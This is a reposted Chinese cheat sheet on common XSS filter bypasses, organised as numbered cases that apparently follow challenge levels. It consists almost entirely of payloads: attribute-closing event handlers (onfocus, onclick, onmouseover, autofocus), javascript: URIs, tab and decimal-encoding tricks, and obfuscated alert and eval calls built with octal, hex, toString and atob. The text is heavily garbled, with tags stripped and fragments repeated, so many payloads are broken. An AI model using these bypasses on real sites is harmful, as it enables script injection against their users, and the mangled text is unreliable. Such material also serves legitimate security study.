XSS绕过常见方式
XSS绕过常见方式
转载自:
1. 2.源码第一个,[<]被转义,因此在第二个里 ">" 3.源码对第一个,第二个对[<]做了转义,是单引 ' '>' onfocus='alert(1)'' onfocus='alert(1)'> 4." ">" onfocus="alert(1)"" onfocus="alert(1)"> 5.双引号,对on进行过滤 ">" 6.对script进行过滤 " ">">"javascript:alert(1)">点击我"" ">"javascript:alert(1)">点击我class=" "> 7.对href进行了过滤 " ">">""">class=""> 8.对script进行过滤 " ">">alert(1)""" >alert(1)class=""> 9.对script进行了过滤,使用伪事件(用tab进行反过滤) " ">javascript:alert(1)"javascript:alert(1)"> 10.发现只有使用http://,且他们为完整的就行,伪事件(将r转化为10进制) " ">javascript:alert('http://')"javascript:alert('http://')"> 11.有三个input标签被隐藏 "t_sort" value="333" type="hidden">&t_sort=333" onclick=alert(1) type="text"t_sort" value="333" onclick=alert(1)type="text " type="hidden">
最简单常用的poc "> 重定向到指定的url地址 onmouseover=alert(document.domain) 闭合属性,构造on事件 onmousemove=alert(1) 1) autofocus> 利用input的autofocus属性,无需用户交互即可触发xss. htmlspecialchars:输入常用符号,看哪些符号没被实体编码。 如输入在herf或src里面:javascript:alert(1) js输出,输入的数据由js变量接收,通过闭合即可
反射性 '' onclick=alert('xss')>type1 onerror=alert(1)>
alert(1) 遗漏标签'al'%2B'ert'](1) >'al'%2B'ert'](1) >'al'%2B'ert'](1) >'al'%2B'ert'](1) >'al'%2B'ert'](1) >'al'%2B'ert'](1) > JS8编码:'al\145rt'](1) >'\141\154\145\162\164'](1) > JS16编码:'al\x65rt'](1) > 其他1) > toString()8680439..toString(30)](1); >11189117..toString(32)](1); >1 alt=al lang=ert onerror=top[alt%2blang](0)>
'al',b='ev',b%2ba]('alert(1)')> 将alert(1)编码,因为有eval存在'al',b='ev',b%2ba](atob('YWxlcnQoMSk='))>'al',b='ev',b%2ba]('\141\154\145\162\164\50\61\51')>'al',b='ev',b%2ba]('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')> eval函数的补充